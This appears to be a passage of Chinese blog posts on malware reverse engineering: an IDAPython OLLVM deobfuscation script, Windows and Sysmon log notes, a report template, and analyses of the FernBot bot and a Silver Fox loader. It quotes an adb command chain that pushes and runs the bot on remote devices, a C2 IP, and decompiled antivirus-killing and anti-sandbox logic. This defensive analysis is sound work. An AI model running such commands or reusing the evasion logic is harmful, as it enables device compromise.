0x42cea4, 0), (0x42e83f, 0x42e853, 0), (0x42fe0b, 0x42fe15, 1), (0x43020d, 0x430222, 0), (0x42d650, 0x42d664, 0), (0x4302cc, 0x4302dc, 0), (0x42e0ba, 0x42e0c5, 0), (0x42e060, 0x42e06f, 0), (0x42d0fe, 0x42d10d, 0), (0x42e39d, 0x42e3b2, 0), (0x42d75b, 0x42d76b, 0), (0x42e28e, 0x42e2a7, 0), (0x42d2c6, 0x42d2d6, 0), (0x42d490, 0x42d4a4, 0), (0x42e4a3, 0x42e4b4, 0), (0x42f429, 0x42f43d, 0), (0x42fc8a, 0x42fc9c, 0), (0x42eae6, 0x42eb01, 0), (0x42fa78, 0x42fa83, 0), (0x42cd2e, 0x42cd40, 0), (0x42e4d3, 0x42e4d9, 0), (0x42f762, 0x42f77b, 0), (0x42e0a2, 0x42e0b5, 0), (0x42f780, 0x42f794, 0), (0x42fa88, 0x42fa98, 0), (0x42d92b, 0x42d941, 0), (0x42e2ac, 0x42e2bc, 0), (0x42e14f, 0x42e163, 0), (0x42d16f, 0x42d185, 0), (0x42da2b, 0x42da37, 1), (0x42d63a, 0x42d64b, 0), (0x42e324, 0x42e33a, 0), (0x42e2c1, 0x42e2ce, 0), (0x42ea1a, 0x42ea30, 0), (0x42dfd7, 0x42dfec, 0), (0x42f873, 0x42f87f, 0), (0x42db5b, 0x42db6b, 0), (0x42fb4f, 0x42fb60, 0), (0x42d35e, 0x42d36e, 0), (0x42f335, 0x42f347, 0), (0x42e6ec, 0x42e704, 0), (0x42d0a8, 0x42d0b7, 0), (0x4302b7, 0x4302c7, 0), (0x4301fa, 0x430208, 0), (0x42f4df, 0x42f4ec, 0), (0x42fd34, 0x42fd4f, 0), (0x42d1c2, 0x42d1d9, 0), (0x42d71b, 0x42d72e, 0), (0x42f83f, 0x42f855, 0), (0x42c9d9, 0x42c9ea, 0), (0x430187, 0x430197, 0), (0x42cea9, 0x42ceb7, 0), (0x42d8ba, 0x42d8c5, 0), (0x42cd67, 0x42cd79, 0), (0x42ca70, 0x42ca7e, 0), (0x42df91, 0x42dfa0, 0), (0x43011b, 0x43012d, 0), (0x42f50e, 0x42f51b, 0), (0x42fbe6, 0x42fbf1, 0), (0x42ff63, 0x42ff73, 0), (0x42d946, 0x42d95a, 0), (0x42f468, 0x42f478, 0), (0x42fbf6, 0x42fc05, 0), (0x42cb25, 0x42cb39, 0), (0x42fae9, 0x42faf4, 1), (0x43015b, 0x43016b, 0), (0x42e528, 0x42e534, 0), (0x42ca5c, 0x42ca6b, 0), (0x42e9d8, 0x42e9e6, 0), (0x42f6c5, 0x42f6d1, 0), (0x42ebe9, 0x42ebfd, 0), (0x42d5cd, 0x42d5de, 0), (0x42ce97, 0x42cea4, 0), (0x42e83f, 0x42e853, 0), (0x42fe0b, 0x42fe15, 1), (0x43020d, 0x430222, 0), (0x42d650, 0x42d664, 0), (0x4302cc, 0x4302dc, 0), (0x42e0ba, 0x42e0c5, 0), (0x42e060, 0x42e06f, 0), (0x42d0fe, 0x42d10d, 0), (0x42e39d, 0x42e3b2, 0), (0x42d75b, 0x42d76b, 0), (0x42e28e, 0x42e2a7, 0), (0x42d2c6, 0x42d2d6, 0), (0x42d490, 0x42d4a4, 0), (0x42e4a3, 0x42e4b4, 0), (0x42f429, 0x42f43d, 0), (0x42fc8a, 0x42fc9c, 0), (0x42eae6, 0x42eb01, 0), (0x42fa78, 0x42fa83, 0), (0x42cd2e, 0x42cd40, 0), (0x42e4d3, 0x42e4d9, 0), (0x42f762, 0x42f77b, 0), (0x42e0a2, 0x42e0b5, 0), (0x42f780, 0x42f794, 0), (0x42fa88, 0x42fa98, 0), (0x42d92b, 0x42d941, 0), (0x42e2ac, 0x42e2bc, 0), (0x42e14f, 0x42e163, 0), (0x42d16f, 0x42d185, 0), (0x42da2b, 0x42da37, 1), (0x42d63a, 0x42d64b, 0), (0x42e324, 0x42e33a, 0), (0x42e2c1, 0x42e2ce, 0), (0x42ea1a, 0x42ea30, 0), (0x42dfd7, 0x42dfec, 0), (0x42f873, 0x42f87f, 0), (0x42db5b, 0x42db6b, 0), (0x42fb4f, 0x42fb60, 0), (0x42d35e, 0x42d36e, 0), (0x42f335, 0x42f347, 0), (0x42e6ec, 0x42e704, 0), (0x42d0a8, 0x42d0b7, 0), (0x4302b7, 0x4302c7, 0), (0x4301fa, 0x430208, 0), (0x42f4df, 0x42f4ec, 0), (0x42fd34, 0x42fd4f, 0), (0x42d1c2, 0x42d1d9, 0), (0x42d71b, 0x42d72e, 0), (0x42f83f, 0x42f855, 0), (0x42c9d9, 0x42c9ea, 0), (0x430187, 0x430197, 0), (0x42cea9, 0x42ceb7, 0), (0x42d8ba, 0x42d8c5, 0), (0x42cd67, 0x42cd79, 0), (0x42ca70, 0x42ca7e, 0), (0x42df91, 0x42dfa0, 0), (0x43011b, 0x43012d, 0), (0x42f50e, 0x42f51b, 0), (0x42fbe6, 0x42fbf1, 0), (0x42ff63, 0x42ff73, 0), (0x42d946, 0x42d95a, 0), (0x42f468, 0x42f478, 0), (0x42fbf6, 0x42fc05, 0), (0x42cb25, 0x42cb39, 0), (0x42fae9, 0x42faf4, 1), (0x43015b, 0x43016b, 0), (0x42e528, 0x42e534, 0), (0x42ca5c, 0x42ca6b, 0), (0x42e9d8, 0x42e9e6, 0), (0x42f6c5, 0x42f6d1, 0), (0x42ebe9, 0x42ebfd, 0), (0x42d5cd, 0x42d5de, 0), (0x42ce97, 0x42cea4, 0), (0x42e83f, 0x42e853, 0), (0x42fe0b, 0x42fe15, 1), (0x43020d, 0x430222, 0), (0x42d650, 0x42d664, 0), (0x4302cc, 0x4302dc, 0), (0x42e0ba, 0x42e0c5, 0), (0x42e060, 0x42e06f, 0), (0x42d0fe, 0x42d10d, 0), (0x42e39d, 0x42e3b2, 0), (0x42d75b, 0x42d76b, 0), (0x42e28e, 0x42e2a7, 0), (0x42d2c6, 0x42d2d6, 0), (0x42d490, 0x42d4a4, 0), (0x42e4a3, 0x42e4b4, 0), (0x42f429, 0x42f43d, 0), (0x42fc8a, 0x42fc9c, 0), (0x42eae6, 0x42eb01, 0), (0x42fa78, 0x42fa83, 0), (0x42cd2e, 0x42cd40, 0), (0x42e4d3, 0x42e4d9, 0), (0x42f762, 0x42f77b, 0), (0x42e0a2, 0x42e0b5, 0), (0x42f780, 0x42f794, 0), (0x42fa88, 0x42fa98, 0), (0x42d92b, 0x42d941, 0), (0x42e2ac, 0x42e2bc, 0), (0x42e14f, 0x42e163, 0), (0x42d16f, 0x42d185, 0), (0x42da2b, 0x42da37, 1), (0x42d63a, 0x42d64b, 0), (0x42e324, 0x42e33a, 0), (0x42e2c1, 0x42e2ce, 0), (0x42ea1a, 0x42ea30, 0), (0x42dfd7, 0x42dfec, 0), (0x42f873, 0x42f87f, 0), (0x42db5b, 0x42db6b, 0), (0x42fb4f, 0x42fb60, 0), (0x42d35e, 0x42d36e, 0), (0x42f335, 0x42f347, 0), (0x42e6ec, 0x42e704, 0), (0x42d0a8, 0x42d0b7, 0), (0x4302b7, 0x4302c7, 0), (0x4301fa, 0x430208, 0), (0x42f4df, 0x42f4ec, 0), (0x42fd34, 0x42fd4f, 0), (0x42d1c2, 0x42d1d9, 0), (0x42d71b, 0x42d72e, 0), (0x42f83f, 0x42f855, 0), (0x42c9d9, 0x42c9ea, 0), (0x430187, 0x430197, 0), (0x42cea9, 0x42ceb7, 0), (0x42d8ba, 0x42d8c5, 0), (0x42cd67, 0x42cd79, 0), (0x42ca70, 0x42ca7e, 0), (0x42df91, 0x42dfa0, 0), (0x43011b, 0x43012d, 0), (0x42f50e, 0x42f51b, 0), (0x42fbe6, 0x42fbf1, 0), (0x42ff63, 0x42ff73, 0), (0x42d946, 0x42d95a, 0), (0x42f468, 0x42f478, 0), (0x42fbf6, 0x42fc05, 0), (0x42cb25, 0x42cb39, 0), (0x42fae9, 0x42faf4, 1), (0x43015b, 0x43016b, 0), (0x42e528, 0x42e534, 0), (0x42ca5c, 0x42ca6b, 0), (0x42e9d8, 0x42e9e6, 0), (0x42f6c5, 0x42f6d1, 0), (0x42ebe9, 0x42ebfd, 0), (0x42d5cd, 0x42d5de, 0), (0x42ce97, 0x42cea4, 0), (0x42e83f, 0x42e853, 0), (0x42fe0b, 0x42fe15, 1), (0x43020d, 0x430222, 0), (0x42d650, 0x42d664, 0), (0x4302cc, 0x4302dc, 0), (0x42e0ba, 0x42e0c5, 0), (0x42e060, 0x42e06f, 0), (0x42d0fe, 0x42d10d, 0), (0x42e39d, 0x42e3b2, 0), (0x42d75b, 0x42d76b, 0), (0x42e28e, 0x42e2a7, 0), (0x42d2c6, 0x42d2d6, 0), (0x42d490, 0x42d4a4, 0), (0x42e4a3, 0x42e4b4, 0), (0x42f429, 0x42f43d, 0), (0x42fc8a, 0x42fc9c, 0), (0x42eae6, 0x42eb01, 0), (0x42fa78, 0x42fa83, 0), (0x42cd2e, 0x42cd40, 0), (0x42e4c8, 0x42e4ce, 1), (0x42d008, 0x42d02a, 1), (0x42eb3d, 0x42eb52, 1), (0x42da3c, 0x42da50, 1), (0x42ca83, 0x42caa2, 1), (0x42cfa1, 0x42cfbc, 1), (0x42dde3, 0x42de09, 1), (0x42d3ca, 0x42d3e0, 1), (0x42cb67, 0x42cb6d, 0), (0x42dde3, 0x42de09, 1), (0x42d3ca, 0x42d3e0, 1), (0x42cb67, 0x42cb6d, 0), (0x42dde3, 0x42de09, 1), (0x42d3ca, 0x42d3e0, 1), (0x42cb67, 0x42cb6d, 0), (0x42dde3, 0x42de09, 1), (0x42d3ca, 0x42d3e0, 1), (0x42cb67, 0x42cb6d, 0), (0x42dde3, 0x42de09, 1), (0x42d3ca, 0x42d3e0, 1), (0x42cb67, 0x42cb6d, 0), (0x42dde3, 0x42de09, 1), (0x42d3ca, 0x42d3e0, 1), (0x42cb67, 0x42cb6d, 0), (0x42dde3, 0x42de09, 1), (0x42d3ca, 0x42d3e0, 1), (0x42cb67, 0x42cb6d, 0), (0x42dde3, 0x42de09, 1), (0x42d3ca, 0x42d3e0, 1), (0x42cb5c, 0x42cb62, 1), (0x42e12e, 0x42e14a, 0), (0x42da55, 0x42da6d, 1), (0x42fffb, 0x43001b, 1), (0x42f653, 0x42f67b, 1), (0x42dad7, 0x42dafc, 1), (0x42d200, 0x42d213, 1), (0x42d95f, 0x42d97a, 1), (0x42e9b3, 0x42e9d3, 1), (0x42dfba, 0x42dfd2, 1), (0x42debd, 0x42dee2, 1), (0x42ec94, 0x42eca9, 1), (0x42f713, 0x42f728, 1), (0x42d7d3, 0x42d7e8, 1), (0x42d8ca, 0x42d8dc, 0), (0x42f680, 0x42f690, 0), (0x42f6d6, 0x42f6e1, 1)
]
offset=0x400000

fake_blocks = [(i[0] - offset, i[1] - offset) for i in fake]
true_trace_entries = [(i[0] - offset, i[1] - offset, i[2]) for i in true_trace]

block_map = {}       
block_start_set = set()

for (b_start, b_end, zf) in true_trace_entries:
    block_map[b_start] = (b_start, b_end)
    block_start_set.add(b_start)

true_trace_simple = [(block_map[entry[0]], entry[2]) for entry in true_trace_entries]

block_zf_map = defaultdict(set)
block_next_map = defaultdict(lambda: defaultdict(set))

for i in range(len(true_trace_simple) - 1):
    cur_block, cur_zf = true_trace_simple[i]
    next_block, _ = true_trace_simple[i + 1]

    block_zf_map[cur_block].add(cur_zf)
    block_next_map[cur_block][cur_zf].add(next_block)

# ========== Fake block 分配 ==========
fake_queue = deque(fake_blocks)
used_fake = set()

def alloc_fake_block(min_size=10):
    while fake_queue:
        fb = fake_queue.popleft()
        if (fb[1] - fb[0]) >= min_size:
            used_fake.add(fb)
            return fb
    raise Exception("No fake block with size >= {}".format(min_size))

# ========== Patch 工具 ==========
def nop_range(start, end):
    ea = start
    while ea <= end:
        ida_bytes.patch_byte(ea, 0x90)
        ea += 1

def get_last_insn_ea(block_start, block_end):
    """获取基本块最后一条指令的地址"""
    ea = block_end
    while ea >= block_start:
        flags = ida_bytes.get_full_flags(ea)
        if ida_bytes.is_code(flags):
            return ea
        ea -= 1
    return idaapi.BADADDR

def patch_jmp(frm, to):
    """在 frm 处写入 jmp to"""
    ida_bytes.del_items(frm, ida_bytes.DELIT_SIMPLE)
    ida_ua.create_insn(frm)
    ida_bytes.patch_byte(frm, 0xE9)
    rel = to - (frm + 5)
    ida_bytes.patch_dword(frm + 1, rel)

def emit_jz_jmp(ea, true_target, false_target):
    """
    在 ea 处写入：
      JZ true_target   (6 bytes: 0F 84 rel32)
      JMP false_target (5 bytes: E9 rel32)
    返回下一条可写地址
    """
    ida_bytes.del_items(ea, ida_bytes.DELIT_SIMPLE)
    ida_ua.create_insn(ea)
    ida_bytes.patch_byte(ea, 0x0F)
    ida_bytes.patch_byte(ea + 1, 0x84)
    rel_z = true_target - (ea + 6)
    ida_bytes.patch_dword(ea + 2, rel_z)

    ea_jmp = ea + 6

    ida_bytes.del_items(ea_jmp, ida_bytes.DELIT_SIMPLE)
    ida_ua.create_insn(ea_jmp)
    ida_bytes.patch_byte(ea_jmp, 0xE9)
    rel_j = false_target - (ea_jmp + 5)
    ida_bytes.patch_dword(ea_jmp + 1, rel_j)

    return ea_jmp + 5

PROLOGUE_START = 0x2A370  # 函数入口附近的可跳转位置
PROLOGUE_END   = 0x2A370   # 和上面组成一个区间
RETURN_BLOCK   = 0x2EFE2  # 函数返回块（或 retn 指令地址）

first_real_block_start = true_trace_simple[0][0][0]

# 1. 序言 
patch_jmp(
    get_last_insn_ea(PROLOGUE_START, PROLOGUE_END),
    first_real_block_start
)

# 2. 处理所有真实块
for block, zf_set in block_zf_map.items():
    start, end = block
    last_insn = get_last_insn_ea(start, end)
    branches = block_next_map[block]

    if len(zf_set) == 1:
        # 无条件跳转到唯一下一个块
        zf = list(zf_set)[0]
        target = list(branches[zf])[0][0]
        patch_jmp(last_insn, target)
    else:
        # 条件分支：需要 fake block 做跳板
        fb_start, fb_end = alloc_fake_block()

        # 原块 -> fake block
        patch_jmp(last_insn, fb_start)

        true_target = list(branches[1])[0][0]
        false_target = list(branches[0])[0][0]

        # 清空 fake block
        nop_range(fb_start, fb_end)

        # JZ true_target; JMP false_target
        emit_jz_jmp(fb_start, true_target, false_target)

# 3. 最后一个真实块 -> 返回块
last_true_block = true_trace_simple[-1][0]
patch_jmp(
    get_last_insn_ea(last_true_block[0], last_true_block[1]),
    RETURN_BLOCK
)

# 4. 未使用的 fake block 全部 nop
for fb in fake_blocks:
    if fb not in used_fake:
        nop_range(fb[0], fb[1])

print("[+] Deobfuscation done. {} blocks patched, {} fake blocks used.".format(
    len(block_zf_map), len(used_fake)))

ollvm去混淆结果

image-20260724170051457

观察可以看见主逻辑是一条线并以ret结尾，旁边是大量垃圾逻辑

说明

脚本是基于dump的区域块做了地址偏移，实际使用时需要根据偏移地址改变偏移量

发表于 分类于 本文字数： 725 阅读时长 ≈ 3 分钟

windows日志

日志查看方法：win+r输入eventvwr.msc弹出事件查看器，日志的储存格式为evtx

image-20260719134528230

1.安全日志

1
储存位置：C:\Windows\System32\Winevt\Logs\Security.evtx

主要存放安全事件及id

安全事件 id
成功登录，登录失败，账户加入管理员组，修改账户密码 4624，4625，4732，4723
管理员特权登录，调用系统高级权限，特权操作（修改权限、接管文件、篡改服务） 4672，4673，4674
进程创建与程序执行（无文件执行、恶意脚本、远控程序启动） 4688
文件访问，注册表修改，对象权限变更 4663，4657，4670
新建系统服务，服务注册表权限变更 4697，4656 / 4657 / 4670
建立 SMB 共享连接，访问共享内文件、读取共享资源 5140，5145
清除日志行为 4698
设备插拔 6416，6417

2.系统日志

系统日志记录操作系统组件产生的事件，主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等

1
储存位置：C:\Windows\System32\Winevt\Logs\System.evtx

3.应用日志

应用程序出现崩溃情况，那么我们可以从程序事件日志中找到相应的记录

1
储存位置：C:\Windows\System32\Winevt\Logs\Application.evtx

Sysmon

终端增强审计工具，驱动层捕获进程、网络、DNS、DLL 注入、文件创建、注册表修改、远程线程注入等底层恶意行为，弥补系统日志缺失

1.启动用powershell启动，有不同的规则可以配置

1
sysmon64.exe -i sysmonconfig-export.xml

2.在事件管理器中查看

查看路径：应用程序和服务日志 → Microsoft → Windows → Sysmon → Operational

image-20260719135754081

3.常见查看的事件

ID 事件名称 核心监控行为
1 ProcessCreate 创建进程
5 ProcessTerminate 进程退出、程序关闭
8 CreateRemoteThread 远程线程注入
10 ProcessAccess 打开其他进程句柄、读取内存
7 ImageLoad 加载 DLL、驱动 sys，捕获劫持 / 恶意模块
3 NetworkConnect TCP/UDP 外联，记录进程、目标 IP 端口（C2 远控）
22 DNSEvent 所有域名解析行为，捕获恶意域名
11 FileCreate 文件新建、覆盖写入
23 FileDelete 文件直接删除
26 FileDeleteOnClose 关闭后自删（内存马、无文件攻击常用）
15 FileCreateStreamHash NTFS 备用数据流 ADS（隐藏恶意文件）
12 RegistryKeyEvent 注册表项 创建 / 删除
13 RegistryValueSet 注册表键值修改（Run 启动项劫持）
14 RegistryKeyDelete 删除注册表项，清理后门痕迹
17 PipeCreated 创建命名管道
18 PipeConnected 管道建立连接（PsExec、横向渗透）
19 WmiEventFilter 创建 WMI 事件过滤器
20 WmiEventConsumer 注册 WMI 事件消费者
21 WmiEventConsumerToFilter 绑定过滤器与消费者
9 RawAccessRead 底层读取磁盘卷（窃取影子副本、凭证文件）
6 DriverLoad 驱动加载事件
24 ProcessProtectChange 进程内存保护修改（篡改内存权限执行 shellcode）

4.卸载服务

1
sysmon64.exe -u

发表于 分类于 本文字数： 719 阅读时长 ≈ 3 分钟

报告规范

结构

每篇样本分析报告须覆盖以下 10 节：

  1. 概述 — 样本 SHA256、来源、家族归属（一句话定性）
  2. 静态分析 — 文件结构、编译信息、混淆方式、关键字符串
  3. 动态分析 — 进程行为、持久化机制、反分析手段
  4. 核心载荷 — 加密算法、C2 通信协议
  5. ATT&CK 映射 — 战术 → 技术编号 → 本样本中的具体体现
  6. IOC — SHA256 / C2 域名 / 互斥体 / 文件路径 / 注册表（表格形式）
  7. 网络流量 — JA3 指纹、心跳包特征、请求 URI
  8. YARA 规则 — 每条 ≥ 5 个 strings
  9. 归因线索 — 与已知组织 TTP 对比，标注置信度
  10. 待深入 — 列明未完成的分析点

截图

  • 每张截图须有对应文字说明，连续两张截图之间须有过渡文字
  • 删除后文章仍通顺的截图一律删除
  • 反编译代码、字符串列表、简单分支逻辑使用代码块展示，不要截图
  • 保留的截图必须用 Greenshot 添加红框/箭头标注关键位置

措辞

禁止 替代
“可以看见……” “分析发现””该函数实现了””如图所示”
木马/病毒/蠕虫混用 按实际类型准确使用 Trojan / RAT / Worm / Ransomware
“有空再分析” “待深入分析：1) … 2) …”
用截图代替文字说明 文字说明结论，截图作为证据佐证

待学清单

  • ATT&CK 矩阵映射 — https://attack.mitre.org

  • YARA 规则编写 — 每个样本产出 1 条规则

  • 网络流量分析 — Wireshark 抓包、JA3 指纹提取、心跳包识别

  • R3 Syscall — ntdll 调用链分析，自写 syscall stub 绕过用户态 Hook

  • R0 驱动分析 — WinDbg 双机调试，分析恶意 .sys（回调注册/进程隐藏/网络拦截）

  • VMProtect 壳 — 识别 VMP 区段特征，dump 内存定位非虚拟化代码

  • Shellcode 编写 — 位置无关代码（PIC）、反射式 DLL 加载

  • APT 归因 — 精读 20 份公开报告，建立 TTP 特征库，进行 5 次独立归因练习

项目规划

攻击链重建器（Python）

  • 输入 Security.evtx → 解析 4688/5156/4657/4663 → 进程树关联
  • 自动识别攻击阶段（初始执行 → 持久化 → C2）
  • 输出 JSON + Markdown 时间线
  • 3 个银狐样本 EVTX 验证

配置提取框架（C++）

  • 插件架构，首批 3 插件：QuasarRAT / 银狐 / FernBot
  • 手动解析 PE Section / ELF Segment
  • 批量扫描 + 统一 JSON 输出
  • 10 样本验证，准确率 ≥ 80%
  • CLI：mcconfig extract sample.bin --family quasar

核心认知

  • 当前状态： 14 篇博客有逆向深度但缺格式、有分析过程但缺 ATT&CK、有 shellcode 追踪但缺 YARA。不是能力不够，是能力没对准靶子。
  • 核心转向： 从”我会分析样本”转向”我能输出结构化证据”。每个样本产 ATT&CK + YARA + IOC + 流量指纹，分析即积累，积累即归因。

发表于 分类于 本文字数： 633 阅读时长 ≈ 2 分钟

image-20260610163246401

socket（1，1，0）使用tcp协议，其中ensure_persistence有着大量的持久化技术，先看下面的流量加密逻辑

image-20260610163536566

可以清楚的看见它使用了0x7f进行异或加密

image-20260610170119088

这里可以看到用三个命令用来交互

第一个是用来dos攻击的

image-20260610170053251

image-20260610170201491

可以看见它有8中的常见dos攻击，并且会将信息返回c2服务器

第二和是用来横向感染的

image-20260610170440722

先是提取本地ip用于后面的感染

然后循环判断子网段下有没有ip

image-20260610171029155

这个是感染核心逻辑使用开放的5555端口来投放木马文件

第三个是用来执行shell命令来远程操控

image-20260610172009038

popen是执行函数其他的是一些数据处理

接下来我来分析下持久化的函数ensure_persistence

image-20260610173502416

它先是加入了一些开机自启的目录这些都是不同系统下的开机目录

image-20260610173824620

install_chipset_persistence()这个是芯片级的持久化install_root_persistence()这个是有root权限的持久化install_nonroot_persistence()这个是非root权限的持久化

image-20260610174148418

这个是对物联网系统的install_iot_persistence()持久化

image-20260610180130870

这里是创建了一个shell脚本来看主程序有没有存在没有就启动后面是主程序检查脚本存在吗，是两个进程互相检查

这里我们可以看到如果程序运行起来后几乎是很难删除的。

最后我来做一下流量分析

image-20260610182710249

可以看见这个程序发送了请求但是我这个虚拟机断网了没有完成三次握手就没有发送流量了

下面的ioc和hash值

ip 176.65.139.41
主程序隐藏副本 /data/local/tmp/.fern_bot
主程序隐藏副本 /dev/.fern_bot
主程序隐藏副本 /tmp/.fern_bot
主程序隐藏副本 /sdcard/.fern_bot
主程序隐藏副本 /jffs/.sysupd
持久化文件路径 /etc/init.d/S99sysupd SysVinit 启动脚本
持久化文件路径 /etc/hotplug.d/iface/99-sysupd Hotplug 事件触发
持久化文件路径 /etc/crontabs/root Crontab 定时任务
持久化文件路径 /data/local/tmp/.dex
持久化文件路径 /data/local/tmp/.sys
进程与系统 IOC fern_bot
进程与系统 IOC kworker
命令行 IOC `while true; do grep -q ‘fernet_hb’ /proc/net/unix
命令行 IOC adb connect %s:5555 && adb push .fern_bot /data/local/tmp/ && adb shell chmod 777 .fern_bot && adb shell nohup ./fern_bot & 横向感染安卓设备的完整命令链
sha256 3d91b861984bda9fb52b9c082a2839d0a11a9d83979c79676a8667472da8cc09
md5 d2ec16db8621508cada2d9fd60127409
sha1 9f36ac3143357a25935d812f3cc738129188ec84

发表于 分类于 本文字数： 1.6k 阅读时长 ≈ 6 分钟

尝试三次银狐第一次因为重度混淆没过，第二个因为最新inno setup壳没有解壳器想直接脱ida分析delphi文件效果有不是很好找其他分析的要编译，今天来讲一讲我分完的这个银狐吧。

image-20260529201538337

开始两个函数第一个是生成器加的函数不用管

第二个是主要逻辑

image-20260529201716230

image-20260529201735406

进去就是一个花指令然后直接nop

image-20260529201851302

还有个循环执行也去掉

image-20260529201934584

前面两个函数不用管是一些用系统时间反调试的函数

image-20260529202056736

进入最后一个函数看到前面是申请了一块地址去执行sellcode动调进入即可

image-20260529231551679

接下来的逻辑是先跳到另外的地址把这段代码下面的代码改动

image-20260529202414678

这个是改动后的代码可以看到是一个循环解密，从1B0023+CA08的位置异或0B1h再和当前地址的字符相加作为下个字符的异或长度为rcx000000000000CA08

image-20260529202449910

这里可以接着动调将1B0024的位置设为write断点动调后看见跳转到另一个位置

image-20260529203012733

接下来可以看到另一个shellcode

这里值放了主要逻辑，前面的函数有一些反调试

比如

1
2
3
4
5
6
7
8
9
10
11
12
if ( (unsigned int)((__int64 (*)(void))unk_1BC84C)() )
{
  v14 = 0;
  for ( j = 0; j < 1000; ++j )
  {
    v0 = __rdtsc();
    v14 += v0;
  }
  strcpy(v9, "ExitProcess");
  v24 = (void (__fastcall *)(_QWORD))((__int64 (__fastcall *)(char *, char *))unk_1BB7FC)(v4, v9);
  v24(0i64);
}

然后主要这两个函数

image-20260529203737927

第一个是将数据复制到申请的空间上第二个是解密数据

在下面还有一个有意思的

image-20260529203912637

这段代码会一直掉用本函数，呈现给用户的效果就是一直申请管理员权限然后取消了还是弹如果安全意识不过关的人真的会点确认，解决方式也很简单直接关机因病毒的后续逻辑都没执行也就没有持久化

看下解密的函数

image-20260529204312602

我选择用idapython来解可以看见下的脚本

1
2
3
4
5
6
7
8
9
10
11
12
import ida_bytes
START_ADDR = 0x1B002C
DATA_LEN = 0xAA05
XOR_KEY = b"4@e!c!bSL2AeimnwyD4x"
key_len = len(XOR_KEY)
for i in range(DATA_LEN):
    current_ea = START_ADDR+i
    orig_byte = ida_bytes.get_byte(current_ea)
    key_byte = XOR_KEY[i % key_len]
    orig_byte = orig_byte ^ key_byte
    ida_bytes.patch_byte(current_ea, orig_byte)
print("异或计算完成！")

最后这里就是整个病毒的逻辑这里用代码贴出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
int __fastcall main(int argc, const char **argv, const char **envp)
{
  const char **v4; // rdx
  int v5; // ecx
  const char **v6; // r8
  int j; // [rsp+30h] [rbp-128h]
  char v8[16]; // [rsp+38h] [rbp-120h] BYREF
  char v9[8]; // [rsp+48h] [rbp-110h] BYREF
  char v10[16]; // [rsp+50h] [rbp-108h] BYREF
  char v11[16]; // [rsp+60h] [rbp-F8h] BYREF
  char v12[16]; // [rsp+70h] [rbp-E8h] BYREF
  int v13; // [rsp+80h] [rbp-D8h]
  int i; // [rsp+84h] [rbp-D4h]
  int v15; // [rsp+88h] [rbp-D0h]
  void (__fastcall *v16)(__int64); // [rsp+90h] [rbp-C8h]
  char v17[16]; // [rsp+98h] [rbp-C0h] BYREF
  __int64 (__fastcall *v18)(_QWORD, _QWORD, void *, _QWORD, _DWORD, _DWORD *); // [rsp+A8h] [rbp-B0h]
  void (__fastcall *v19)(_QWORD); // [rsp+B0h] [rbp-A8h]
  void (__fastcall *v20)(_QWORD); // [rsp+B8h] [rbp-A0h]
  _DWORD v21[38]; // [rsp+C0h] [rbp-98h] BYREF

  strcpy(v8, "kernel32.dll");
  strcpy(v17, "user32.dll");
  strcpy(v9, "Sleep");
  v16 = (void (__fastcall *)(__int64))sub_1B0C61((__int64)v8, (__int64)v9);
  sub_1BA561();
  v16(500i64);
  if ( (unsigned int)sub_1B24A1() )             // 互斥体排斥确保只有一个病毒执行
  {
    v13 = 0;
    while ( v13 < 1000 )
    {
      v16(500i64);
      ++v13;
      if ( !sub_1B2C41() && sub_1B27F1() && sub_1B29C1() && sub_1B2721(2u) && !sub_1B23B1() && !sub_1B2D51(10000) )
        break;
    }
    sub_1B1BE1();
    if ( (unsigned int)((__int64 (*)(void))unk_1B1791)() )//反沙箱，动调
      main(v5, v4, v6);
    v15 = 0;
    if ( find360() )
    {
      strcpy(v12, "CreateThread");
      v18 = (__int64 (__fastcall *)(_QWORD, _QWORD, void *, _QWORD, _DWORD, _DWORD *))sub_1B0C61(
                                                                                        (__int64)v8,
                                                                                        (__int64)v12);
      v18(0i64, 0i64, TCPkill360, 0i64, 0, 0i64);
      v16(30000i64);
      for ( i = 0; find360() && i < 1; ++i )
      {
        for ( j = 0; j < 3; ++j )
        {
          *(_QWORD *)&v21[2 * j + 12] = v18(0i64, 0i64, &kill360, 0i64, 0, &v21[j]);
          if ( *(_QWORD *)&v21[2 * j + 12] )
          {
            v16(5000i64);
            if ( !find360() )
              break;
          }
        }
      }
      v16(10000i64);
      if ( find360() )
        v15 = 1;
      v16(10000i64);
      mainkey();
      sub_1B2281();
      v16(5000i64);
    }
    else
    {
      mainkey();
    }
    strcpy(v11, "ExitProcess");
    v20 = (void (__fastcall *)(_QWORD))sub_1B0C61((__int64)v8, (__int64)v11);
    v20(0i64);
    return 0;
  }
  else
  {
    strcpy(v10, "ExitProcess");
    v19 = (void (__fastcall *)(_QWORD))sub_1B0C61((__int64)v8, (__int64)v10);
    v19(0i64);
    return 0;
  }
}

可以看见这里的函数调用的大部分都是内核函数

看下比较关键的函数sub_1B0C61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_1B0C61(__int64 a1, __int64 a2)
{
  struct _LIST_ENTRY *v2; // rax
  struct _LIST_ENTRY *v3; // rax
  __int64 v5; // [rsp+20h] [rbp-38h]
  __int64 (__fastcall *v6)(__int64); // [rsp+28h] [rbp-30h]
  __int64 (__fastcall *v7)(__int64, __int64); // [rsp+30h] [rbp-28h]
  __int64 v8; // [rsp+38h] [rbp-20h]

  v2 = sub_1B0BA1(1527267390);//找到 kernel32.dll 的基址
  v6 = (__int64 (__fastcall *)(__int64))((__int64 (__fastcall *)(struct _LIST_ENTRY *, __int64))sub_1B0A21)(
                                          v2,
                                          1666965384i64);//找LoadLibraryA
  v3 = sub_1B0BA1(1527267390);
  v7 = (__int64 (__fastcall *)(__int64, __int64))((__int64 (__fastcall *)(struct _LIST_ENTRY *, __int64))sub_1B0A21)(
                                                   v3,
                                                   1227537171i64);//GetProcAddress
  if ( v6 && v7 && (v8 = v6(a1), (v5 = v7(v8, a2)) != 0) )
    return v5;
  else
    return 0i64;
}

这段代码相当于直接找的系统的dll导出表的函数的地址没有调用api来找以此来免杀前面的shellcode也用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 sub_1B2281()
{
  __int64 result; // rax
